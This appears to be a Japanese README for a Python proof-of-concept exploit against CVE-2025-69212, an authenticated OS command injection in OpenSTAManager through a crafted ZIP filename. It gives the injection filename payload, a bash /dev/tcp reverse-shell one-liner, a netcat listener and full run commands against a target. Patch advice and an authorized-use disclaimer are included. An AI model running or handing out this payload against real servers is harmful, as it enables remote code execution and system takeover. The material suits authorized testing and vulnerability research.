
Python poc、CVE-2025-69212 向けエクスプロイト
CVE-2025-69212 の概念実証エクスプロイトです。これは OpenSTAManager <= 2.9.8 の OS コマンドインジェクション脆弱性であり、認証された攻撃者が悪意を持って細工された ZIP ファイルのアップロードを介してリモートコード実行を達成することを可能にします。
脆弱性は src/Util/XML.php の ~100 行目に存在し、アプリケーションがユーザー制御のファイル名をサニタイズなしでシェルの exec() 呼び出しに直接渡しています:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
ZIP アーカイブが importFE_ZIP プラグイン (/actions.php) を介してアップロードされると、アプリケーションは ZIP を展開し、各 .p7m エントリのファイル名を exec() に渡します。攻撃者は、二重引用符で囲まれた引数から脱出し、任意のシェルコマンドを注入する悪意のあるファイル名を含む ZIP を作成できます。
インジェクションペイロード (ファイル名):
invoice.p7m";<COMMAND>;echo ".p7m
結果としてのシェル実行:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ injected here
注: スラッシュ
/はZipArchive::extractTo()によってパス区切り文字として扱われるため、ファイル名に直接含めることはできません。この PoC は、リバースシェルペイロードを base64 エンコードすることでこれを回避しています。
requests ライブラリnc)依存関係のインストール:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
# リスナーを起動
nc -lvnp 4444
# エクスプロイトを実行
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Burp Suite 経由
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m ファイルを含む ZIP アーカイブを作成します。bash -i >& /dev/tcp/LHOST/LPORT 0>&1) は、ファイル名内のスラッシュを避けるために base64 エンコードされます。importFE_ZIP プラグインを介して ZIP を /actions.php に POST します。exec() に渡し、リバースシェルを起動します。OpenSTAManager 2.9.9 以降 に更新してください。これにより、ファイル名がシェルコマンドに渡される前にサニタイズされます。
すぐにパッチを適用できない場合は、importFE_ZIP プラグインを無効にするか、/actions.php へのアクセスを信頼できるユーザーのみに制限してください。
このツールは 認可されたセキュリティテストおよび教育目的のみ を意図しています。自分が所有しているシステム、または明示的な書面による許可を得たシステムでのみ使用してください。自分が所有していないシステムに対する不正使用は違法であり、非倫理的です。著者は、このツールの誤用または損害について一切の責任を負いません。
| Argument | Required | Description |
|---|
-u, --url | Yes | ターゲットのベース URL (例: http://target.htb) |
-U, --username | Yes | OpenSTAManager ユーザー名 |
-P, --password | Yes | OpenSTAManager パスワード |
--lhost | Yes | リバースシェル用のあなたの IP アドレス |
--lport | Yes | リバースシェル用のあなたのリスニングポート |
--proxy | No | HTTP プロキシ (例: http://127.0.0.1:8080) |